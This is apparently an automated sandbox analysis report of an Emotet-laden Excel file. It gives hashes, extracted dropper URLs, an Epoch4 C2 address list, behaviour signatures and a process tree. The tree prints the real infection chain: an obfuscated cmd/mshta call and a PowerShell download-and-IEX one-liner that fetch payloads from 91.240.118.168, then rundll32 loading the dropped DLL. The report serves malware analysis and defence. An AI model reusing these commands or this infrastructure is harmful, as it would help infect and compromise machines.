Analysis

  • max time kernel
    120s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 01:30

General

  • Target

    Form.xls

  • Size

    47KB

  • MD5

    3e649c0b1d927f74c6238b18c6fd8619

  • SHA1

    072273302bd2d575877376020dc1cca46faf2baf

  • SHA256

    72c1af140f4064bf0f206acee07a9200f696dd467ba5ece31e5f854bf04c7466

  • SHA512

    f182349fb4c17125bec1d6f9534a21d758d23e650a87869b78766ea58e69a09379cf630eddfb39e4c815521a15412341156268a232249049c54813a68e7a963b

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Form.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1144
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:536
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/vvv/ppp/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1236
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1860
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1044
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1372
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:912
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mbliuw\cmrizlxswk.php",TmFg
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1712
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mbliuw\cmrizlxswk.php",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:656

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\QWER.dll
    MD5

    97daeda7d5269be2a567138e6ed876fe

    SHA1

    ce707e51f782320a38f0bb434277edcc4394abbb

    SHA256

    918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

    SHA512

    1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

  • \ProgramData\QWER.dll
    MD5

    97daeda7d5269be2a567138e6ed876fe

    SHA1

    ce707e51f782320a38f0bb434277edcc4394abbb

    SHA256

    918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

    SHA512

    1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

  • \ProgramData\QWER.dll
    MD5

    97daeda7d5269be2a567138e6ed876fe

    SHA1

    ce707e51f782320a38f0bb434277edcc4394abbb

    SHA256

    918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

    SHA512

    1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

  • \ProgramData\QWER.dll
    MD5

    97daeda7d5269be2a567138e6ed876fe

    SHA1

    ce707e51f782320a38f0bb434277edcc4394abbb

    SHA256

    918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

    SHA512

    1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

  • \ProgramData\QWER.dll
    MD5

    97daeda7d5269be2a567138e6ed876fe

    SHA1

    ce707e51f782320a38f0bb434277edcc4394abbb

    SHA256

    918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

    SHA512

    1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

  • \ProgramData\QWER.dll
    MD5

    97daeda7d5269be2a567138e6ed876fe

    SHA1

    ce707e51f782320a38f0bb434277edcc4394abbb

    SHA256

    918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

    SHA512

    1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

  • \ProgramData\QWER.dll
    MD5

    97daeda7d5269be2a567138e6ed876fe

    SHA1

    ce707e51f782320a38f0bb434277edcc4394abbb

    SHA256

    918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

    SHA512

    1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

  • \ProgramData\QWER.dll
    MD5

    97daeda7d5269be2a567138e6ed876fe

    SHA1

    ce707e51f782320a38f0bb434277edcc4394abbb

    SHA256

    918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

    SHA512

    1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

  • \ProgramData\QWER.dll
    MD5

    97daeda7d5269be2a567138e6ed876fe

    SHA1

    ce707e51f782320a38f0bb434277edcc4394abbb

    SHA256

    918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

    SHA512

    1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

  • memory/656-95-0x00000000003A0000-0x00000000003C5000-memory.dmp
    Filesize

    148KB

  • memory/656-99-0x0000000001FE0000-0x0000000002005000-memory.dmp
    Filesize

    148KB

  • memory/656-112-0x0000000002A70000-0x0000000002A95000-memory.dmp
    Filesize

    148KB

  • memory/656-111-0x0000000002A71000-0x0000000002A92000-memory.dmp
    Filesize

    132KB

  • memory/656-109-0x00000000029D0000-0x00000000029F5000-memory.dmp
    Filesize

    148KB

  • memory/656-107-0x00000000028D0000-0x00000000028F5000-memory.dmp
    Filesize

    148KB

  • memory/656-105-0x0000000002830000-0x0000000002855000-memory.dmp
    Filesize

    148KB

  • memory/656-103-0x0000000002600000-0x0000000002625000-memory.dmp
    Filesize

    148KB

  • memory/656-101-0x00000000024E0000-0x0000000002505000-memory.dmp
    Filesize

    148KB

  • memory/912-75-0x00000000001D0000-0x00000000001F5000-memory.dmp
    Filesize

    148KB

  • memory/912-79-0x00000000009C0000-0x00000000009E5000-memory.dmp
    Filesize

    148KB

  • memory/912-83-0x0000000002220000-0x0000000002245000-memory.dmp
    Filesize

    148KB

  • memory/912-85-0x0000000002750000-0x0000000002775000-memory.dmp
    Filesize

    148KB

  • memory/912-88-0x0000000002780000-0x00000000027A5000-memory.dmp
    Filesize

    148KB

  • memory/912-77-0x0000000000960000-0x0000000000985000-memory.dmp
    Filesize

    148KB

  • memory/912-81-0x0000000002130000-0x0000000002155000-memory.dmp
    Filesize

    148KB

  • memory/1144-54-0x000000002FE21000-0x000000002FE24000-memory.dmp
    Filesize

    12KB

  • memory/1144-55-0x0000000070FD1000-0x0000000070FD3000-memory.dmp
    Filesize

    8KB

  • memory/1144-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1144-57-0x0000000074F01000-0x0000000074F03000-memory.dmp
    Filesize

    8KB

  • memory/1144-113-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1372-68-0x0000000000770000-0x0000000000795000-memory.dmp
    Filesize

    148KB

  • memory/1712-90-0x00000000002E0000-0x0000000000305000-memory.dmp
    Filesize

    148KB

  • memory/1860-61-0x0000000002500000-0x000000000314A000-memory.dmp
    Filesize

    12.3MB

  • memory/1860-60-0x0000000002500000-0x000000000314A000-memory.dmp
    Filesize

    12.3MB